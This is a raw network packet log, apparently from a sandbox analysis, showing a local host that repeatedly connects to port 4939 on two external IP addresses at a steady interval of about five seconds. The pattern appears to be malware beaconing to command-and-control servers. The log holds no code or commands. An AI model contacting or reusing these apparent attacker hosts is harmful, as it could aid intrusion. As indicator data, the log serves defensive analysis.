Nov 28, 2022 20:50:19.152184963 CET	49942	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:19.171663046 CET	4939	49942	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:20.184478998 CET	49943	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:20.231287003 CET	4939	49943	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:20.745618105 CET	49943	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:20.790043116 CET	4939	49943	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:21.292366982 CET	49943	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:21.337025881 CET	4939	49943	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:21.839485884 CET	49943	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:21.884111881 CET	4939	49943	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:22.386013985 CET	49943	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:22.430901051 CET	4939	49943	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:22.432118893 CET	49944	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:22.453578949 CET	4939	49944	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:22.963891983 CET	49944	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:22.983086109 CET	4939	49944	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:23.495395899 CET	49944	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:23.516047001 CET	4939	49944	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:24.026084900 CET	49944	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:24.045316935 CET	4939	49944	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:24.557220936 CET	49944	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:24.576368093 CET	4939	49944	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:25.589417934 CET	49946	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:25.633956909 CET	4939	49946	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:26.135149002 CET	49946	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:26.180732965 CET	4939	49946	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:26.681983948 CET	49946	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:26.726380110 CET	4939	49946	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:27.228526115 CET	49946	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:27.273057938 CET	4939	49946	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:27.775262117 CET	49946	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:27.819588900 CET	4939	49946	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:27.820681095 CET	49947	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:27.840955973 CET	4939	49947	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:28.353424072 CET	49947	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:28.374032021 CET	4939	49947	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:28.884565115 CET	49947	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:28.905554056 CET	4939	49947	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:29.415658951 CET	49947	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:29.437828064 CET	4939	49947	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:29.946903944 CET	49947	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:29.968915939 CET	4939	49947	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:30.978486061 CET	49948	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:31.022641897 CET	4939	49948	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:31.524507046 CET	49948	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:31.569572926 CET	4939	49948	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:32.071304083 CET	49948	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:32.116106033 CET	4939	49948	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:32.618112087 CET	49948	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:32.663424969 CET	4939	49948	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:33.164954901 CET	49948	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:33.210165024 CET	4939	49948	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:33.211416006 CET	49949	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:34.226996899 CET	49949	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:34.246225119 CET	4939	49949	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:34.758189917 CET	49949	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:34.779161930 CET	4939	49949	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:35.289411068 CET	49949	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:35.308726072 CET	4939	49949	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:35.820462942 CET	49949	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:35.840754032 CET	4939	49949	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:36.983104944 CET	49950	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:37.027456999 CET	4939	49950	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:37.538738966 CET	49950	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:37.583471060 CET	4939	49950	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:38.085526943 CET	49950	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:38.129487991 CET	4939	49950	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:38.632441044 CET	49950	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:38.678085089 CET	4939	49950	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:39.179205894 CET	49950	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:39.224701881 CET	4939	49950	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:39.248287916 CET	49951	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:39.270490885 CET	4939	49951	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:39.772835016 CET	49951	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:39.792119026 CET	4939	49951	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:40.303888083 CET	49951	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:40.324889898 CET	4939	49951	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:40.835053921 CET	49951	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:40.857645988 CET	4939	49951	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:41.366163015 CET	49951	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:41.387089014 CET	4939	49951	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:42.398121119 CET	49953	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:42.443149090 CET	4939	49953	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:42.943989992 CET	49953	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:42.988734961 CET	4939	49953	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:43.490693092 CET	49953	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:43.535537958 CET	4939	49953	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:44.037391901 CET	49953	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:44.082576036 CET	4939	49953	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:44.584337950 CET	49953	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:44.629339933 CET	4939	49953	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:44.630525112 CET	49954	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:44.653270006 CET	4939	49954	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:45.162149906 CET	49954	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:45.182164907 CET	4939	49954	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:45.693475962 CET	49954	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:45.716559887 CET	4939	49954	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:46.224380970 CET	49954	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:46.246377945 CET	4939	49954	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:46.755563021 CET	49954	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:46.777848005 CET	4939	49954	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:47.789669037 CET	49955	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:47.834212065 CET	4939	49955	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:48.349001884 CET	49955	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:48.394406080 CET	4939	49955	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:48.895710945 CET	49955	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:48.940248013 CET	4939	49955	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:49.442433119 CET	49955	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:49.487008095 CET	4939	49955	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:49.989293098 CET	49955	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:50.033902884 CET	4939	49955	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:50.035114050 CET	49956	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:50.056615114 CET	4939	49956	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:50.567226887 CET	49956	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:50.586472988 CET	4939	49956	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:51.098449945 CET	49956	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:51.118478060 CET	4939	49956	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:51.629493952 CET	49956	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:51.651546955 CET	4939	49956	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:52.160907984 CET	49956	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:52.179930925 CET	4939	49956	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:53.192696095 CET	49957	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:53.236985922 CET	4939	49957	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:53.738528967 CET	49957	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:53.782943010 CET	4939	49957	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:54.285306931 CET	49957	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:54.330038071 CET	4939	49957	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:54.832056046 CET	49957	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:54.876820087 CET	4939	49957	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:55.378747940 CET	49957	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:55.423026085 CET	4939	49957	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:55.424196959 CET	49958	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:55.443245888 CET	4939	49958	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:55.956717014 CET	49958	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:55.975459099 CET	4939	49958	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:56.487807989 CET	49958	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:56.506853104 CET	4939	49958	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:57.019026041 CET	49958	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:57.043523073 CET	4939	49958	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:57.550194025 CET	49958	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:50:57.569448948 CET	4939	49958	37.0.14.209	192.168.11.20
Nov 28, 2022 20:50:58.582045078 CET	49960	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:58.626420021 CET	4939	49960	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:59.138859034 CET	49960	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:59.183260918 CET	4939	49960	84.38.134.104	192.168.11.20
Nov 28, 2022 20:50:59.690666914 CET	49960	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:50:59.735358000 CET	4939	49960	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:00.250648975 CET	49960	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:00.301364899 CET	4939	49960	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:00.810925007 CET	49960	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:00.856173038 CET	4939	49960	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:00.857475042 CET	49961	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:00.877907991 CET	4939	49961	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:01.380557060 CET	49961	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:01.404040098 CET	4939	49961	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:01.920259953 CET	49961	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:01.942723989 CET	4939	49961	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:02.452933073 CET	49961	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:02.473180056 CET	4939	49961	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:02.985455036 CET	49961	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:03.006140947 CET	4939	49961	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:04.026860952 CET	49962	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:04.077457905 CET	4939	49962	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:04.589544058 CET	49962	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:04.634383917 CET	4939	49962	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:05.144351959 CET	49962	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:05.189328909 CET	4939	49962	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:05.692498922 CET	49962	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:05.737587929 CET	4939	49962	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:06.247242928 CET	49962	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:06.292057037 CET	4939	49962	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:06.293273926 CET	49963	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:06.312973976 CET	4939	49963	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:06.833201885 CET	49963	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:06.854770899 CET	4939	49963	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:07.365662098 CET	49963	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:07.387061119 CET	4939	49963	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:07.898190022 CET	49963	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:07.920700073 CET	4939	49963	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:08.437139988 CET	49963	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:08.457521915 CET	4939	49963	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:09.476243973 CET	49964	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:09.520612001 CET	4939	49964	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:10.041548014 CET	49964	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:10.086070061 CET	4939	49964	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:10.589678049 CET	49964	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:10.634452105 CET	4939	49964	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:11.144085884 CET	49964	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:11.188785076 CET	4939	49964	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:11.692367077 CET	49964	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:11.737354040 CET	4939	49964	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:11.738461971 CET	49965	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:11.757555008 CET	4939	49965	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:12.262583017 CET	49965	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:12.281285048 CET	4939	49965	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:12.791398048 CET	49965	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:12.810765982 CET	4939	49965	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:13.322472095 CET	49965	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:13.341743946 CET	4939	49965	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:13.853512049 CET	49965	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:13.872946978 CET	4939	49965	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:14.886102915 CET	49966	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:14.930320978 CET	4939	49966	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:15.431507111 CET	49966	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:15.476224899 CET	4939	49966	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:15.978307962 CET	49966	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:16.023119926 CET	4939	49966	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:16.524884939 CET	49966	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:16.569555998 CET	4939	49966	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:17.071644068 CET	49966	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:17.116399050 CET	4939	49966	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:17.117475986 CET	49967	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:17.138099909 CET	4939	49967	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:17.649595022 CET	49967	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:17.669559002 CET	4939	49967	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:18.180665970 CET	49967	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:18.199393988 CET	4939	49967	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:18.711987972 CET	49967	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:18.732642889 CET	4939	49967	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:19.243139982 CET	49967	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:19.264405966 CET	4939	49967	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:20.274878979 CET	49968	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:20.319812059 CET	4939	49968	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:20.820785999 CET	49968	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:20.865077019 CET	4939	49968	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:21.367547035 CET	49968	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:21.412147999 CET	4939	49968	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:21.914366961 CET	49968	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:21.959053993 CET	4939	49968	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:22.461082935 CET	49968	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:22.506872892 CET	4939	49968	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:22.508260012 CET	49969	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:22.527385950 CET	4939	49969	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:23.039032936 CET	49969	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:23.058307886 CET	4939	49969	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:23.570146084 CET	49969	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:23.589202881 CET	4939	49969	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:24.101320028 CET	49969	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:24.121052027 CET	4939	49969	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:24.632415056 CET	49969	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:24.651827097 CET	4939	49969	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:25.664413929 CET	49971	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:25.709686995 CET	4939	49971	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:26.210253000 CET	49971	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:26.255218983 CET	4939	49971	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:26.756932974 CET	49971	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:26.802031994 CET	4939	49971	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:27.303721905 CET	49971	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:27.352395058 CET	4939	49971	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:27.866070032 CET	49971	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:27.910095930 CET	4939	49971	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:27.939928055 CET	49972	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:27.959331036 CET	4939	49972	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:28.475253105 CET	49972	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:28.495424986 CET	4939	49972	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:29.006556034 CET	49972	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:29.028784990 CET	4939	49972	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:29.537689924 CET	49972	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:29.557924032 CET	4939	49972	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:30.068746090 CET	49972	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:30.090298891 CET	4939	49972	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:31.100573063 CET	49973	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:31.145204067 CET	4939	49973	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:31.646646976 CET	49973	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:31.692073107 CET	4939	49973	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:32.193414927 CET	49973	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:32.238141060 CET	4939	49973	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:32.740168095 CET	49973	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:32.784775972 CET	4939	49973	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:33.286883116 CET	49973	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:33.331579924 CET	4939	49973	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:33.332648039 CET	49974	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:33.352446079 CET	4939	49974	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:33.864701986 CET	49974	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:33.884246111 CET	4939	49974	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:34.395884991 CET	49974	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:34.415286064 CET	4939	49974	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:34.927093983 CET	49974	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:34.947001934 CET	4939	49974	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:35.458266973 CET	49974	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:35.477828026 CET	4939	49974	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:36.604475975 CET	49975	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:36.648744106 CET	4939	49975	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:37.160875082 CET	49975	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:37.205065012 CET	4939	49975	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:37.707685947 CET	49975	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:37.751993895 CET	4939	49975	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:38.254545927 CET	49975	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:38.299784899 CET	4939	49975	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:38.801275015 CET	49975	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:38.845881939 CET	4939	49975	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:38.863781929 CET	49976	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:38.883784056 CET	4939	49976	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:39.394773960 CET	49976	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:39.414390087 CET	4939	49976	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:39.925945044 CET	49976	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:39.946580887 CET	4939	49976	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:40.457082033 CET	49976	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:40.476583958 CET	4939	49976	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:40.988198996 CET	49976	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:41.007544041 CET	4939	49976	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:42.020052910 CET	49977	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:42.064378977 CET	4939	49977	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:42.565974951 CET	49977	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:42.610481977 CET	4939	49977	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:43.113030910 CET	49977	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:43.157810926 CET	4939	49977	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:43.659471989 CET	49977	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:43.704140902 CET	4939	49977	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:44.206479073 CET	49977	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:44.251610994 CET	4939	49977	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:44.252851009 CET	49978	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:44.274543047 CET	4939	49978	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:44.784512043 CET	49978	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:44.803844929 CET	4939	49978	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:45.315402031 CET	49978	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:45.335289955 CET	4939	49978	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:45.846772909 CET	49978	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:45.865741968 CET	4939	49978	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:46.377677917 CET	49978	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:46.397047043 CET	4939	49978	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:47.409641027 CET	49979	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:47.453809023 CET	4939	49979	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:47.955447912 CET	49979	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:48.004981995 CET	4939	49979	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:48.517862082 CET	49979	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:48.562146902 CET	4939	49979	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:49.064619064 CET	49979	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:49.109164953 CET	4939	49979	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:49.611318111 CET	49979	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:49.655435085 CET	4939	49979	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:49.656887054 CET	49981	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:49.677391052 CET	4939	49981	37.0.14.209	192.168.11.20
